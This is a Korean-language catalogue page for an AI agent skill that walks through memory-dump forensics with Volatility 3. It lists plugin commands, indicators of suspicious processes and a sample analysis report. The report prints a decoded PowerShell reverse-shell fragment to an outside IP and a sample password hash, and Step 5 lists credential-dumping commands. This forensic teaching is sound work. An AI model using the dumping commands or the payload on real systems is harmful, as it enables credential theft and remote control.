Communitygithub.com

Volatility를 사용한 메모리 덤프 분석

손상된 시스템의 RAM 메모리 덤프를 Volatility 프레임워크로 분석하여 악성 프로세스를 식별합니다.

Volatility를 사용한 메모리 덤프 분석란 무엇인가요?

이 스킬은 Volatility 3 오픈소스 메모리 포렌식 프레임워크를 사용하여 시스템 RAM 덤프를 심층 분석하는 완전한 워크플로우를 제공합니다. 메모리 덤프 이미지에서 프로파일 식별, 의심스러운 프로세스 열거, 악성 코드 인젝션 탐지(malfind, hollowfind), 네트워크 연결 분석(netscan), 자격 증명 및 레지스트리 아티팩트 추출, YARA 규칙 기반 메모리 스캔, 타임라인 생성 및 보고서 작성까지 모든 단계를 체계적으로 안내합니다. 이 스킬은 Windows, Linux, macOS를 지원하며, 파일리스 악성코드, 루트킷, 프로세스 할로잉 등 디스크 기반 도구로는 탐지하기 어려운 정교한 위협을 메모리 포렌식을 통해 식별하는 데 특화되어 있습니다. 각 Volatility 플러그인의 목적과 해석 방법을 명확히 설명하고, 실제 침해 사고 분석 시나리오와 주요 함정을 함께 제공하여 실무에 바로 적용할 수 있습니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

Volatility를 사용한 메모리 덤프 분석은(는) 무엇을 하나요?

사용 시기

  • 손상된 시스템의 RAM을 캡처하여 악성코드 아티팩트에 대한 포렌식 분석이 필요한 경우
  • 디스크에 지속적인 아티팩트 없이 메모리에만 존재하는 파일리스 악성코드 탐지
  • 프로세스 메모리에서 암호화 키, 비밀번호, 복호화된 설정 추출
  • 손상된 시스템에서 프로세스 인젝션, DLL 인젝션 또는 프로세스 할로잉 식별
  • 표준 디스크 기반 포렌식 도구로부터 숨겨지는 루트킷 활동 분석

사용하지 말아야 할 경우: 디스크 이미지 분석에는 사용하지 마십시오. 디스크 포렌식에는 Autopsy, FTK, Sleuth Kit를 사용하세요.

사전 요구 사항

  • Volatility 3 설치 (pip install volatility3) 및 대상 OS의 심볼 테이블
  • 대상 시스템에서 획득한 메모리 덤프 파일 (WinPmem, LiME 또는 DumpIt 사용)
  • 올바른 프로파일/심볼 선택을 위한 소스 OS 버전 정보
  • 충분한 디스크 공간 (메모리 덤프는 4-64 GB 가능)
  • 알려진 악성코드 서명을 메모리에서 스캔하기 위한 YARA 규칙
  • 메모리 영역에서 읽을 수 있는 문자열을 추출하기 위한 Strings 유틸리티

워크플로

1단계: 메모리 덤프 프로파일 식별

메모리 덤프에서 운영 체제 및 버전을 확인합니다:

# Volatility 3: 자동 OS 감지
vol3 -f memory.dmp windows.info

# 사용 가능한 플러그인 목록
vol3 -f memory.dmp --help

# 심볼이 필요한 경우 다음에서 다운로드:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# Volatility 2 (레거시):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

2단계: 실행 중인 프로세스 열거

모든 프로세스를 나열하고 의심스러운 항목을 식별합니다:

# 모든 프로세스 목록
vol3 -f memory.dmp windows.pslist

# 프로세스 트리 (부모-자식 관계)
vol3 -f memory.dmp windows.pstree

# 숨겨진/연결 해제된 프로세스 스캔 (루트킷 탐지)
vol3 -f memory.dmp windows.psscan

# pslist와 psscan을 비교하여 숨겨진 프로세스 찾기
# psscan에는 있지만 pslist에는 없는 프로세스는 루트킷에 의해 숨겨져 있을 가능성이 높음

# 프로세스 할로잉 확인
vol3 -f memory.dmp windows.pslist --dump
# 그런 다음 덤프된 EXE가 디스크의 예상 바이너리와 일치하는지 확인
의심스러운 프로세스 지표:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- services.exe가 아닌 다른 프로세스가 생성한 svchost.exe (잘못된 부모)
- 비정상적인 부모 프로세스를 가진 csrss.exe/lsass.exe
- 여러 인스턴스의 lsass.exe (하나만 있어야 함)
- 철자가 잘못된 프로세스 (scvhost.exe, lssas.exe)
- WINWORD.EXE 또는 브라우저가 생성한 cmd.exe 또는 powershell.exe
- 비정상적인 경로에서 실행되는 프로세스 (%TEMP%, %APPDATA%)
- 부모가 없는 프로세스 (고아 - 부모가 종료됨)

3단계: 악성 코드 인젝션 탐지

주입된 코드와 프로세스 할로잉을 스캔합니다:

# 프로세스에 주입된 코드 탐지 (malfind)
vol3 -f memory.dmp windows.malfind

# Malfind가 찾는 것:
# - PAGE_EXECUTE_READWRITE 보호가 설정된 메모리 영역
# - PE 헤더(MZ/PE 서명)를 포함하는 메모리 영역
# - VAD(Virtual Address Descriptor) 이상 징후

# 주입된 메모리 영역을 덤프하여 분석
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# 프로세스별 로드된 DLL 목록
vol3 -f memory.dmp windows.dlllist --pid 2184

# 매핑된 이미지를 디스크와 비교하여 할로잉된 프로세스 탐지
vol3 -f memory.dmp windows.hollowfind

# 로드된 드라이버 스캔 (잠재적 루트킷 드라이버)
vol3 -f memory.dmp windows.driverscan

# 커널 모듈 목록
vol3 -f memory.dmp windows.modules

4단계: 네트워크 연결 분석

활성 및 종료된 네트워크 연결을 추출합니다:

# 모든 네트워크 연결 목록 (활성 및 수신 대기)
vol3 -f memory.dmp windows.netscan

# 출력 열: 오프셋, 프로토콜, 로컬 주소, 로컬 포트, 원격 주소, 원격 포트, 상태, PID, 소유자

# 외부 IP로의 설정된 연결 필터링
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# 구형 Windows (XP/2003)의 경우:
vol3 -f memory.dmp windows.netstat

# PID를 프로세스 목록과 상호 참조
# 의심스러운 경우: 비표준 포트에 연결된 svchost.exe
# 의심스러운 경우: 네트워크 연결이 있는 notepad.exe 또는 calc.exe

5단계: 아티팩트 및 자격 증명 추출

메모리에서 민감한 데이터를 복구합니다:

# 특정 PID의 프로세스 메모리 덤프
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# 명령줄 기록 추출
vol3 -f memory.dmp windows.cmdline

# 환경 변수 추출
vol3 -f memory.dmp windows.envars --pid 2184

# 레지스트리 분석 (지속성을 위한 Run 키 추출)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# 해시/캐시된 자격 증명 추출
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# 클립보드 내용 추출
vol3 -f memory.dmp windows.clipboard

# 메모리에서 파일 추출
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

6단계: YARA 규칙으로 메모리 스캔

YARA 서명을 적용하여 메모리에서 알려진 악성코드를 탐지합니다:

# YARA 규칙으로 전체 메모리 덤프 스캔
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# 특정 프로세스 메모리 스캔
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# 일반적인 패턴에 대한 내장 YARA 스캔
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# 암호화 키 자료 스캔
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

7단계: 타임라인 및 보고서 생성

분석 타임라인을 만들고 결과를 정리합니다:

# 포괄적인 타임라인 생성
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# 타임라인 포함 내용:
# - 프로세스 생성/종료 시간
# - 네트워크 연결 타임스탬프
# - 레지스트리 수정 시간
# - 파일 액세스 시간

# 보고서 작성을 위한 프로세스 목록 내보내기
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# 네트워크 연결 내보내기
vol3 -f memory.dmp windows.netscan --output csv > network.csv

핵심 개념

용어정의
메모리 포렌식휘발성 메모리(RAM) 내용을 분석하여 디스크에 존재하지 않을 수 있는 실행 중인 프로세스, 네트워크 연결, 인메모리 아티팩트를 식별
프로세스 할로잉합법적인 프로세스를 일시 중단 상태로 생성하고, 그 메모리를 악성 코드로 대체한 후 실행을 재개하는 악성코드 기술
Malfind실행 권한이 있는 메모리 영역과 비이미지 VAD의 PE 헤더를 식별하여 주입된 코드를 탐지하는 Volatility 플러그인
VAD(Virtual Address Descriptor)프로세스에 할당된 메모리 영역을 추적하는 Windows 커널 구조; VAD의 이상 징후는 인젝션 또는 할로잉을 나타냄
EPROCESS프로세스를 나타내는 Windows 커널 구조; 루트킷은 EPROCESS 항목을 연결 해제하여 표준 도구에서 프로세스를 숨김
풀 태그 스캐닝연결이 해제된 경우에도 개체(프로세스, 파일, 연결)를 찾기 위해 커널 개체 풀 태그를 스캔하는 메모리 포렌식 기술
파일리스 악성코드디스크에 파일을 생성하지 않고 메모리에서만 작동하는 악성코드; 메모리 포렌식을 통해서만 탐지 가능

도구 및 시스템

  • Volatility 3: Windows, Linux, macOS 메모리 분석을 지원하는 플러그인 아키텍처 기반의 오픈소스 메모리 포렌식 프레임워크
  • WinPmem: 오프라인 분석을 위해 원시 메모리 덤프를 생성하는 Windows 시스템용 메모리 수집 도구
  • LiME(Linux Memory Extractor): Linux 시스템 메모리 덤프를 캡처하기 위한 로드 가능한 커널 모듈
  • Rekall: 몇 가지 고유한 분석 기능을 갖춘 대체 메모리 포렌식 프레임워크(지원 중단되었지만 여전히 유용)
  • MemProcFS: 메모리 덤프를 파일 시스템으로 마운트하여 직관적인 분석을 가능하게 하는 메모리 프로세스 파일 시스템

일반적인 시나리오

시나리오: EDR 경고 후 파일리스 악성코드 탐지

컨텍스트: EDR이 의심스러운 PowerShell 활동을 감지했지만 공격자가 디스크 아티팩트를 정리했습니다. 시스템이 재부팅되기 전에 메모리 덤프가 캡처되었습니다. 분석은 악성코드, 지속성 메커니즘 및 측면 이동 여부를 식별해야 합니다.

접근법:

  1. windows.pstree를 실행하여 프로세스 체인 식별 (어떤 프로세스가 PowerShell을 생성했는지)
  2. windows.malfind를 실행하여 실행 중인 프로세스에서 주입된 코드 탐지
  3. 의심스러운 프로세스 메모리를 덤프하고 C2 URL에 대한 문자열 추출
  4. windows.netscan을 실행하여 손상된 프로세스의 네트워크 연결 식별
  5. windows.cmdline을 실행하여 PowerShell이 실행한 명령 확인
  6. 덤프된 프로세스 메모리에서 알려진 악성코드 패밀리에 대한 YARA 규칙 스캔
  7. hashdump 및 lsadump로 자격 증명을 추출하여 측면 이동 위험 평가

주의할 점:

  • OS 버전에 맞지 않는 잘못된 심볼 테이블 사용 (플러그인 실패 또는 잘못된 결과 초래)
  • pslist와 psscan 출력을 비교하지 않음 (루트킷에 숨겨진 프로세스 누락)
  • 주입된 합법적인 프로세스를 무시함 (프로세스 이름만 보지 말고 malfind 결과에 집중)
  • 분석을 마치기 전에 전체 프로세스 메모리를 추출하지 않음 (프로세스 덤프의 문자열이 추가 IOC를 밝힐 수 있음)

출력 형식

메모리 포렌식 분석 보고서
===================================
덤프 파일:        memory.dmp
덤프 크기:        16 GB
OS 버전:          Windows 10 21H2 (빌드 19044)
캡처 도구:        WinPmem 4.0
캡처 시간:        2025-09-15 14:35:00 UTC

의심스러운 프로세스
PID   PPID  이름              경로                                    이상 징후
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe 잘못된 경로
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      가짜 svchost의 자식
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             PowerShell에 의해 생성됨

코드 인젝션 탐지됨 (malfind)
PID 852 (explorer.exe):
  주소: 0x00400000  크기: 98304  보호: PAGE_EXECUTE_READWRITE
  헤더: MZ (내장 PE 탐지됨)
  덤프 SHA-256: abc123def456...

네트워크 연결
PID   프로세스         로컬               원격                 상태
2184  svchost.exe     10.1.5.42:49152    185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200    91.215.85.17:8080    ESTABLISHED

추출된 자격 증명
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

명령줄 기록
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  디코딩: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA 일치
PID 2184: rule CobaltStrike_Beacon { at 0x00401200 }

타임라인
14:10:00  svchost.exe (PID 2184)가 C:\Users\Admin\AppData\Temp\에서 생성됨
14:10:05  185.220.101.42:443으로 네트워크 연결 설정
14:12:30  powershell.exe (PID 4012)가 svchost.exe에 의해 생성됨
14:15:00  explorer.exe (PID 852)에 코드 인젝션 탐지됨
14:20:00  LSASS 프로세스에서 자격 증명 덤프

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

관련 스킬